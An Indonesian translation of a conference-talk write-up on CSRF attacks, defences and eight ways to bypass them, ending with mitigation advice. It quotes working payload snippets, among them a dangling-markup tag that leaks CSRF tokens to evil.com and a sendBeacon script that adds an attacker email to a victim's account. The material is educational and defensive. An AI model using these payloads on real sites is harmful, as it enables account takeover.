Kerentanan CSRF masih relevan

CSRF (Pemalsuan Permintaan Situs Lintas) yang diterjemahkan ke dalam bahasa Rusia adalah palsu dari permintaan lintas situs. Mikhail Egorov ( 0ang3el ) dalam laporannya tentang Highload ++ 2017 berbicara tentang kerentanan CSRF, tentang mekanisme perlindungan mana yang biasanya digunakan, dan bagaimana mereka dapat dielakkan. Dan pada akhirnya, dia mengemukakan serangkaian tips tentang cara mempertahankan serangan CSRF dengan benar. Di bawah decoding cat kinerja ini.


Tentang pembicara: Mikhail Egorov bekerja di Ingram Micro Cloud dan terlibat dalam keamanan Aplikasi. Di waktu luangnya, Mikhail terlibat dalam pencarian kerentanan dan perburuan Bug dan berbicara di konferensi keamanan.

Penafian: informasi yang diberikan adalah murni pendapat penulis, semua kecocokan acak.


Monster cookie ini yang harus disalahkan atas fakta bahwa serangan CSRF berhasil. Faktanya adalah bahwa banyak aplikasi web menggunakan cookie (selanjutnya kami anggap pantas untuk memanggil cookie dalam bahasa Rusia) untuk mengontrol sesi pengguna. Browser dirancang sehingga jika memiliki cookie pengguna untuk domain dan jalur ini, secara otomatis mengirimkannya bersama dengan permintaan HTTP.

Kue kering


Cookie adalah sepotong kecil data yang dikirim oleh server web ke klien dalam bentuk nama = nilai di header HTTP yang disebut "Set-Cookie". Browser menyimpan data ini di komputer pengguna, dan kapan pun diperlukan, mengirimkan data ini ke server web sebagai bagian dari permintaan HTTP di header HTTP yang disebut "Cookie".

Cookie dapat memiliki berbagai atribut, seperti: kedaluwarsa, domain, aman, httponly:

Cookie pertama kali muncul di browser Netscape pada tahun 1994. Banyak aplikasi web masih menggunakannya untuk mengelola sesi pengguna.


Mari kita lihat bagaimana serangan klasik Cross Site Request Forgery (CSRF) bekerja.

Katakanlah aplikasi web kami memiliki kemampuan untuk mengubah alamat pengiriman pengguna, dan menggunakan cookie untuk mengontrol sesi.

Kami memiliki formulir HTML yang harus diisi pengguna: masukkan alamat dan klik tombol "Simpan". Akibatnya, permintaan POST dengan formulir HTML akan terbang ke backend. Kami melihat bahwa browser secara otomatis mengatur cookie sesi pengguna. Backend, ketika menerima permintaan seperti itu, melihat bahwa ada sesi seperti itu, itu adalah pengguna yang sah, dan mengubah alamat pengirimannya.

Apa yang bisa dilakukan penyerang?


Dia dapat menempatkan halaman HTML di situsnya attacker.com yang benar-benar mengirimkan contoh HTML sebagai contoh . com . Karena browser secara otomatis memasukkan cookie pengguna ke dalam permintaan HTTP, backend tidak akan mengerti apakah permintaan itu sah - apakah ini hasil mengisi formulir oleh pengguna, atau itu serangan CSRF - dan akan mengubah alamat pengiriman untuk pengguna ke nilai yang bermanfaat bagi penyerang .

Ada opsi lain untuk serangan CSRF menggunakan XHR API. Jika banyak yang telah mendengar tentang serangan CSRF menggunakan formulir HTML, maka mereka kurang tahu tentang metode ini, tetapi juga berhasil.


Perhatikan atribut withCredentials, yang menyebabkan browser mengirim cookie pengguna secara otomatis. Karena nilai tipe Konten adalah aplikasi / x-www-form-urlencoded, browser akan mengirim permintaan ini tanpa permintaan CORS opsi preflight sebelumnya, dan sekali lagi serangan CSRF akan bekerja.

Mari kita pertimbangkan lebih jelas bagaimana ini terjadi.


Sumber data:

  • aplikasi example.com yang rentan terhadap CSRF,
  • pengguna
  • situs penyerang, di mana ada halaman csrf-xhr.html.

Pengguna diautentikasi dalam aplikasi, yang terletak di example.com . Jika dia pergi ke situs penyerang, maka permintaan POST akan secara otomatis dieksekusi, yang akan mengubah alamat pengiriman. Browser akan secara otomatis memasukkan cookie sesi ke dalam permintaan dan backend akan mengubah alamat.

Sejarah Serangan CSRF


Secara umum, serangan CSRF telah dikenal sejak tahun 2001, ketika mereka mulai dieksploitasi secara aktif. Pada periode 2008-2012, kerentanan semacam itu ada di setiap situs pertama, termasuk:

  1. YouTube
  2. The New York Times;
  3. Badoo
  4. Slideshare
  5. Vimeo;
  6. Hulu;
  7. Pencarian Bioskop;
  8. ...

Seberapa serius kerentanan CSRF?


Padahal, itu semua tergantung pada kekritisan tindakan rentan. Itu bisa:

  • Pengambilalihan akun - penyerang menangkap akun korban dengan mengubah email melalui CSRF.
  • Privilege Escalation - peningkatan privilege karena fakta bahwa penyerang melalui CSRF menciptakan pengguna baru dengan hak tinggi dalam sistem.
  • Eksekusi kode jauh - eksekusi kode karena operasi injeksi perintah di panel admin melalui CSRF.

Mari kita lihat apa yang dikatakan klasifikasi kerentanan internasional tentang tingkat keparahan CSRF.

Dalam proyek OWASP Top 10 , yang berisi 10 kerentanan paling kritis dalam aplikasi, pada 2010 kerentanan CSRF berada di tempat kelima . Kemudian para pengembang mulai menerapkan berbagai opsi perlindungan, dan pada tahun 2013 kerentanan CSRF pindah ke posisi ke-8.

Kerentanan CSRF tidak dimasukkan dalam daftar untuk 2017 sama sekali, karena menurut statistik, mereka sekarang ditemukan dalam pengujian penetrasi hanya pada 8% kasus .

Secara pribadi, saya tidak setuju dengan statistik ini, karena secara harfiah dalam dua tahun terakhir saya telah menemukan banyak kerentanan CSRF. Selanjutnya saya akan memberitahu Anda bagaimana saya melakukannya.

Dalam klasifikasi Bugcrowd VRT (Vulnerability Rating Taxonomy), kerentanan CSRF di seluruh aplikasi memiliki peringkat keparahan P2 (Tinggi). Hanya keparahan kritis di atas, yaitu, ini adalah kerentanan yang cukup serius .


Pertimbangkan opsi perlindungan CSRF yang ada dan cara kerja masing-masing opsi perlindungan.

1. Token CSRF
  • Untuk setiap sesi pengguna, token unik dan sangat entropik dihasilkan.
  • Token dimasukkan ke DOM halaman HTML atau diberikan kepada pengguna melalui API.
  • Pengguna dengan setiap permintaan yang terkait dengan perubahan apa pun harus mengirim token dalam parameter atau di header HTTP permintaan.
  • Karena penyerang tidak mengetahui token, serangan CSRF klasik tidak berfungsi.

2. Kirim cookie ganda
  • Lagi-lagi token unik dan sangat entropis dihasilkan untuk setiap sesi pengguna, tetapi token itu ditempatkan di cookie.
  • Pengguna harus memberikan nilai yang sama dalam permintaan dalam permintaan dan dalam parameter permintaan.
  • Jika kedua nilai ini bertepatan dengan cookie dan dalam parameter, maka dianggap bahwa ini adalah permintaan yang sah.
  • Karena penyerang tidak bisa mengubah cookie di browser pengguna, serangan CSRF klasik tidak berfungsi.

3. Perlindungan berbasis tipe konten
  • Pengguna harus mengirim permintaan dengan tajuk Jenis Konten tertentu, mis. Aplikasi / json.
  • Karena tidak mungkin untuk mengirim asal-usul Jenis-Konten sewenang-wenang di browser melalui formulir HTML atau API XHR, serangan CSRF klasik tidak berfungsi lagi.

4. Perlindungan berbasis referensi
  • Pengguna harus mengirim permintaan dengan nilai header Referer tertentu. Backend memeriksanya, jika tidak benar, maka dianggap bahwa ini adalah serangan CSRF.
  • Karena browser tidak dapat mengirim rujukan sewenang-wenang melalui formulir HTML atau XHR API, serangan CSRF klasik tidak berfungsi.

5. Konfirmasi kata sandi / websudo
  • Pengguna harus mengkonfirmasi tindakan dengan kata sandi (atau rahasia).
  • Karena penyerang tidak mengenalnya, serangan CSRF klasik tidak berfungsi.

6. Cookie SameSite di Chrome, Opera
Ini adalah teknologi baru yang dirancang untuk melindungi dari CSRF. Saat ini, ia hanya berfungsi di dua browser (Chrome, Opera).

  • Cookie diatur dengan atribut tambahan - samesite, yang dapat memiliki dua nilai: lemah atau ketat.
  • Inti dari teknologi ini adalah browser tidak mengirim cookie jika permintaan dibuat dari domain lain, misalnya, dari situs web penyerang. Dengan demikian, ini sekali lagi melindungi terhadap serangan CSRF klasik.

Tapi, sayangnya, di mana-mana ada fitur browser, aplikasi web dan penyebarannya, yang kadang-kadang memungkinkan Anda untuk memotong perlindungan CSRF .

Oleh karena itu, sekarang mari kita bicara tentang 8 cara untuk memotong perlindungan yang dapat digunakan dalam praktik.


Skenario Penanganan Masalah:


1. XSS (lintas-situs skrip)

Jika aplikasi web Anda memiliki XSS, maka ini secara otomatis membuatnya rentan terhadap CSRF, dan sulit untuk melindungi diri Anda dari ini. Anda hanya bisa memasang .

2. Menggantung markup

Katakanlah aplikasi kita memiliki kerentanan terhadap injeksi HTML, tetapi tidak ada XSS. Misalnya, ada Kebijakan Keamanan Konten (CSP) yang melindungi terhadap XSS. Tapi penyerang masih bisa menyematkan tag HTML.

Jika aplikasi kami menerapkan perlindungan berdasarkan token CSRF, penyerang dapat menyematkan HTML seperti itu, ini bukan gambar tertutup atau tag bentuk:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

Akibatnya, bagian dari halaman DOM HTML akan dikirim ke sumber daya penyerang. Sangat mungkin bahwa jika penyerang benar mengimplementasikan HTML seperti itu, maka apa yang datang ke situs penyerang akan berisi token CSRF.

Dengan demikian, setelah mempelajari token, penyerang akan dapat mengeksploitasi CSRF dengan cara klasik.

3. Subdomain yang rentan

Misalkan kita memiliki subdomain foo.example.com , dan rentan terhadap pengambilalihan subdomain atau XSS. Sebagai hasil dari pengambilalihan subdomain, penyerang sepenuhnya mengontrol subdomain dan dapat menambahkan halaman HTML apa pun di sana atau mengeksekusi kode JS dalam konteks subdomain. Jika subdomain kami rentan terhadap hal-hal seperti itu, maka penyerang akan dapat menghindari jenis perlindungan CSRF berikut:

  • Token CSRF;
  • Kirim cookie dua kali lipat;
  • Perlindungan berbasis tipe konten.

Katakanlah aplikasi utama kita menggunakan CORS (Cross-Origin Resource Sharing) untuk komunikasi lintas domain. Dua header dimasukkan ke dalam respons server:

  1. Akses-Kontrol-Bolehkan-Asal: foo.example.com (foo.example.com - subdomain rentan);
  2. Akses-Kontrol-Bolehkan-Kredensial: true   - sehingga dengan menggunakan XHR API dimungkinkan untuk membuat permintaan dengan cookie pengguna.

Jika kondisi ini terpenuhi, penyerang hanya dapat membaca token CSRF dari subdomain yang dia kontrol dan terus mengeksploitasi CSRF dengan cara klasik.

Opsi selanjutnya. Misalkan ada file crossdomain.xml pada domain utama yang ingin kita serang. File ini digunakan oleh plugin flash dan PDF untuk interaksi subdomain, dan akses ke sana dari subdomain apa pun diizinkan.

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

Jika penyerang dapat mengunggah file JS ke foo.example.com , maka dalam hal ini ia dapat menggunakan API Pekerja Layanan untuk subdomain foo.example.com, yang sebenarnya memberikan file flash.

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

Karena kami memiliki crossdomain.xml pada domain utama, yang memungkinkan interaksi subdomain, penyerang hanya membaca token CSRF melalui SWF ini.

Omong-omong, kerentanan serupa baru-baru ini ditemukan di Amazon, lebih detail di sini .

Bahkan jika CORS tidak dikonfigurasikan dan tidak ada file crossdomain.xml, tetapi perlindungan pengiriman cookie ganda digunakan, seorang penyerang dapat dengan mudah memasukkan cookie dari subdomain untuk domain induk ke jalur di mana ia ingin mengeksploitasi CSRF, dan dengan demikian mem-bypass Double mengirimkan perlindungan cookie.

4. PDF yang buruk

Solusi ini didasarkan pada PDF. Adobe memiliki plugin PDF yang secara otomatis menginstal ketika Anda menginstal Adobe Reader. Plugin ini mendukung apa yang disebut skrip FormCalc. Namun, sekarang plugin PDF dari Adobe hanya berfungsi di IE11 dan ESR Firefox.

FormCalc memiliki dua metode hebat: get () dan post (). Seorang penyerang yang menggunakan metode get dapat membaca token CSRF, menggunakan posting, mengirimkannya ke situsnya. Jadi penyerang mendapatkan tanda CSRF korban.

Misalkan kita memiliki kemampuan untuk mengunggah file PDF ke aplikasi web. Bahkan, itu bisa berupa file dengan format berbeda, misalnya, penyerang mungkin mencoba mengunduh PDF dengan kedok gambar yang merupakan avatar pengguna.

Aplikasi memiliki beberapa API di domain utama, yang memungkinkan Anda untuk mendapatkan konten dari file yang diunduh. Kemudian penyerang dapat menggunakan halaman HTML yang menyematkan file PDF yang diunggah penyerang ke example.com menggunakan tag embed.

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

File Leak.pdf :


File ini berisi skrip FormCalc, yang baru saja membaca halaman Settings.action, di mana terdapat token CSRF di DOM dan mengirimkannya menggunakan metode posting ke situs penyerang.

Karena PDF diunduh dari example.com, PDF ini sendiri memiliki akses penuh ke semua https://example.com asal, dan dapat membaca data dari sana tanpa melanggar mode Same Origin Policy (SOP).

Fokus tambahan adalah bahwa untuk plugin PDF tidak masalah dengan Jenis Konten mana file PDF diberikan, dan bahkan respons HTTP dapat berisi header lainnya (misalnya, Content-Disposition). Plugin PDF masih akan merender PDF ini dan mengeksekusi skrip FormCalc.

5. Suntikan kue

Jika Double submit perlindungan cookie digunakan, maka jika penyerang entah bagaimana dapat memperkenalkan cookie, maka ini sudah berakhir.

Salah satu opsi paling populer dalam skenario ini adalah injeksi CRLF .

Jika penyerang dapat memasukkan tajuk tambahan ke dalam respons server, maka ia cukup menambahkan tajuk Set-Cookie dengan cookie yang diperlukan dan memintas perlindungan CSRF.

Opsi lain terkait dengan fitur penanganan cookie browser .

Misalnya, di Safari, Anda dapat menggunakan koma untuk menyisipkan cookie baru (cookie yang dipisah koma). Misalkan kita memiliki parameter URL di bahasa judul header. Kami memprosesnya dan menulis nilai bahasa yang dipilih ke pengguna dalam cookie. Jika penyerang memasukkan koma, maka ia dapat memasukkan cookie tambahan dengan nama apa pun.

Selain itu, melewati perlindungan CSRF dapat membantu bug peramban . Misalnya, di Firefox dimungkinkan untuk menyematkan cookie melalui gambar SVG ( CVE-2016-9078) . Jika kami memiliki editor HTML dan kami mengizinkan pengguna untuk memasukkan tag gambar, maka penyerang dapat dengan mudah menunjuk ke gambar SVG di atribut SRC, yang akan mengatur cookie yang diperlukan.

6. Ubah Tipe Konten
Beberapa pengembang percaya bahwa jika Anda menggunakan format data non-standar dalam tubuh permintaan POST untuk berkomunikasi dengan backend, ini dapat menyelamatkan Anda dari CSRF. Ini sebenarnya tidak demikian.

Sebagai contoh, saya akan mengutip kerentanan yang baru-baru ini saya temukan di layanan manajemen catatan yang sangat populer.

Itu menggunakan API yang menggunakan Apache Thrift (format data biner) dan cookie untuk mengontrol sesi. Misalnya, untuk menambahkan catatan baru, pengguna harus mengirim permintaan POST tersebut. Data biner ditransmisikan dalam tubuh dan Content-Type: application / x-thrift ditentukan.

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

Bahkan, Tipe-Konten ini tidak divalidasi di backend. Dimungkinkan untuk mengubahnya menjadi teks / biasa dan menggunakan XHR API untuk mengeksploitasi kerentanan CSRF ini dengan hanya mengirimkan data biner di tubuh permintaan POST.


Bahkan, keamanan berbasis Tipe Konten adalah opsi keamanan yang sangat buruk. Ini dilewati dalam banyak kasus.

7. Jenis-Konten Tidak Sederhana

Melalui formulir HTML atau menggunakan API XHR, kami dapat mengirimkan tipe konten berikut:

  • teks / polos;
  • application / x-www-form-urlencoded;
  • multipart / formulir-data.

Bahkan, dimungkinkan untuk mengirim nilai Tipe Konten apa pun melalui:

  • bug di browser (misalnya, Navigator.sendBeacon);
  • plugin: Plugin Flash + 307 redirect dan plugin PDF + 307 redirect;
  • kerangka kerja backend.

Beberapa kerangka kerja, seperti kerangka kerja JAX-RS Apache CXF, mendukung parameter yang disebut ctype dalam URL. Anda dapat menentukan Tipe Konten apa pun di parameter ini, backend akan melihat parameter ini dan akan menggunakannya sebagai ganti Tipe Konten, yang diteruskan ke header ( tautan ke sumber).

Bug yang cukup terkenal di browser Chrome ditemukan pada 2015, setelah itu setelah sekitar satu bulan ia masuk ke akses publik, tetapi diperbaiki hanya pada 2017. Bug ini memungkinkan Anda untuk mengirim permintaan POST dengan Tipe Konten apa pun ke sumber lain menggunakan API yang disebut Navigator.sendBeacon ().
Seperti apa operasi itu?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

Kami membuat gumpalan baru dengan Tipe Konten yang diinginkan dan cukup mengirimkannya menggunakan Navigator.sendBeacon ().

Skenario solusi lain yang masih berfungsi dan didukung di browser adalah memotong menggunakan plugin flash.


Bahkan ada situs thehackerblog.com , di mana sudah ada flash drive yang siap, Anda cukup menentukan URL, header, Tipe-Konten yang diinginkan dan data yang perlu Anda transfer - Anda kirim, dan permintaan POST dengan Tipe-Konten yang diinginkan terbang ke backend.

Tetapi ada satu trik - Anda tidak bisa menentukan URL situs yang sedang kami serang. Anda perlu menentukan sumber daya yang akan membuat pengalihan dengan kode 307 pada sumber daya yang kami serang. Maka akan berhasil.

8. Perujuk Spoof

Opsi terakhir untuk memintas perlindungan CSRF didasarkan pada Referer. Ada bug di peramban Microsoft Edge , yang masih belum diperbaiki dan memungkinkan Anda untuk memalsukan nilai Referer. Tapi sayangnya, itu hanya berfungsi untuk permintaan GET. Jika backend yang diserang tidak membedakan GET dari POST, maka bug ini dapat dieksploitasi.

Jika kita masih membutuhkan POST, maka ada sedikit trik. Kami dapat mengirim pengarah header menggunakan plugin PDF dan FormCalc.


Sekitar setahun yang lalu dimungkinkan menggunakan plug-in PDF untuk mengirim header secara umum, termasuk host, tetapi kemudian Adobe menutup kemungkinan ini dengan membuat daftar hitam header. Artinya, jika kita menentukan Referer di header, maka header ini tidak akan pergi.

Secara umum, FormCalc memungkinkan kami untuk secara sah mengirimkan Jenis Konten apa pun. Jika kami menyisipkan karbur balik dan karakter umpan baris, kami dapat menambahkan tajuk tambahan ke permintaan.

Apa yang terjadi jika kami menerapkan header Referer http://example.com ?

Jelas bahwa itu tidak ada dalam daftar hitam dan header dengan nama Referer http://example.com akan dikirim ke backend.

Beberapa server, seperti WildFly atau Jboss, memperlakukan ruang sebagai akhir nama header HTTP, yaitu titik dua ` : `. Dengan demikian, server tersebut akan melihat bahwa Referer datang kepada mereka dengan nilai http://example.com . Jadi kami akan mengganti Referer.


Ini adalah tabel ringkasan. Kolom memberikan perlindungan terhadap CSRF, dan baris memberikan solusi. Di setiap sel, browser tempat metode ini bekerja ditunjukkan:

  • Semua sarana untuk semua browser;
  • Semua * berarti browser yang tidak mendukung SameSite Cookies, mis. Semuanya kecuali Chrome dan Opera.



Opsi yang paling penting dan berfungsi untuk melindungi dari serangan CSRF adalah menyingkirkan cookie dan menggunakan header dengan token.

Tetapi jika Anda masih belum siap untuk menyerah cookie untuk mengelola sesi pengguna Anda:

  • Model ancaman dan verifikasi penerapan perlindungan CSRF (lihat tabel Ringkasan).
  • Terapkan Cookie SameSite. Sekarang hanya dua browser yang mendukung, tetapi di masa depan, mungkin, akan ada lebih banyak.
  • Gabungkan berbagai pertahanan CSRF - pertahanan secara mendalam.
  • Minta pengguna kata sandi untuk melakukan tindakan kritis.
  • Berikan file yang diunduh oleh pengguna dari domain terpisah.

Dalam waktu kurang dari enam bulan, dan highload berikutnya dalam sebulan - Highload ++ Siberia .

Kami ingin menarik perhatian Anda ke beberapa laporan yang dipilih:


Source: https://habr.com/ru/post/id412855/


All Articles